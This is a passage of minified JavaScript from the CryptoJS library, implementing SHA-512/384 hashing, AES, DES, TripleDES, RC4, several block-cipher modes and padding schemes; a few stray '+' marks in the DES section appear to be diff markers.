t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 